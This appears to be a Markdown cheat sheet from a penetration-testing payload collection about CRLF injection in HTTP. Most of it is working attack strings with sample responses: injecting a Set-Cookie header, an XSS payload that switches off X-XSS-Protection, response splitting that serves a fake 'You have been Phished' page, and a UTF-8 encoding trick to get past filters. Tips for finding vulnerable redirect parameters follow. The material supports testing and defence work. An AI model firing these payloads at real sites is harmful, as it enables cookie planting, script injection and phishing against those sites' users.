115 lines
3.0 KiB
Markdown
115 lines
3.0 KiB
Markdown
# CRLF
|
||
|
||
>The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
||
|
||
>A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
|
||
|
||
## Summary
|
||
|
||
- [CRLF - Add a cookie](#crlf---add-a-cookie)
|
||
- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass)
|
||
- [CRLF - Write HTML](#crlf---write-html)
|
||
- [CRLF - Filter Bypass](#crlf---filter-bypass)
|
||
- [References](#references)
|
||
|
||
## CRLF - Add a cookie
|
||
|
||
Requested page
|
||
|
||
```http
|
||
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
|
||
```
|
||
|
||
HTTP Response
|
||
|
||
```http
|
||
Connection: keep-alive
|
||
Content-Length: 178
|
||
Content-Type: text/html
|
||
Date: Mon, 09 May 2016 14:47:29 GMT
|
||
Location: https://www.example.net/[INJECTION STARTS HERE]
|
||
Set-Cookie: mycookie=myvalue
|
||
X-Frame-Options: SAMEORIGIN
|
||
X-Sucuri-ID: 15016
|
||
x-content-type-options: nosniff
|
||
x-xss-protection: 1; mode=block
|
||
```
|
||
|
||
## CRLF - Add a cookie - XSS Bypass
|
||
|
||
Requested page
|
||
|
||
```powershell
|
||
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
|
||
```
|
||
|
||
HTTP Response
|
||
|
||
```http
|
||
HTTP/1.1 200 OK
|
||
Date: Tue, 20 Dec 2016 14:34:03 GMT
|
||
Content-Type: text/html; charset=utf-8
|
||
Content-Length: 22907
|
||
Connection: close
|
||
X-Frame-Options: SAMEORIGIN
|
||
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
|
||
ETag: "842fe-597b-54415a5c97a80"
|
||
Vary: Accept-Encoding
|
||
X-UA-Compatible: IE=edge
|
||
Server: NetDNA-cache/2.2
|
||
Link: <https://example.com/[INJECTION STARTS HERE]
|
||
Content-Length:35
|
||
X-XSS-Protection:0
|
||
|
||
```
|
||
|
||
## CRLF - Write HTML
|
||
|
||
Requested page
|
||
|
||
```http
|
||
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
|
||
```
|
||
|
||
HTTP response
|
||
|
||
```http
|
||
Set-Cookie:en
|
||
Content-Length: 0
|
||
|
||
HTTP/1.1 200 OK
|
||
Content-Type: text/html
|
||
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
|
||
Content-Length: 34
|
||
|
||
```
|
||
|
||
## CRLF - Filter Bypass
|
||
|
||
Using UTF-8 encoding
|
||
|
||
```http
|
||
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
|
||
```
|
||
|
||
Remainder:
|
||
|
||
* %E5%98%8A = %0A = \u560a
|
||
* %E5%98%8D = %0D = \u560d
|
||
* %E5%98%BE = %3E = \u563e (>)
|
||
* %E5%98%BC = %3C = \u563c (<)
|
||
|
||
|
||
## Exploitation Tricks
|
||
* Try to search for parameters that lead to redirects and fuzz them
|
||
* Also test the mobile version of the website, sometimes it is different or uses a different backend
|
||
|
||
## References
|
||
|
||
* https://www.owasp.org/index.php/CRLF_Injection
|
||
* https://vulners.com/hackerone/H1:192749
|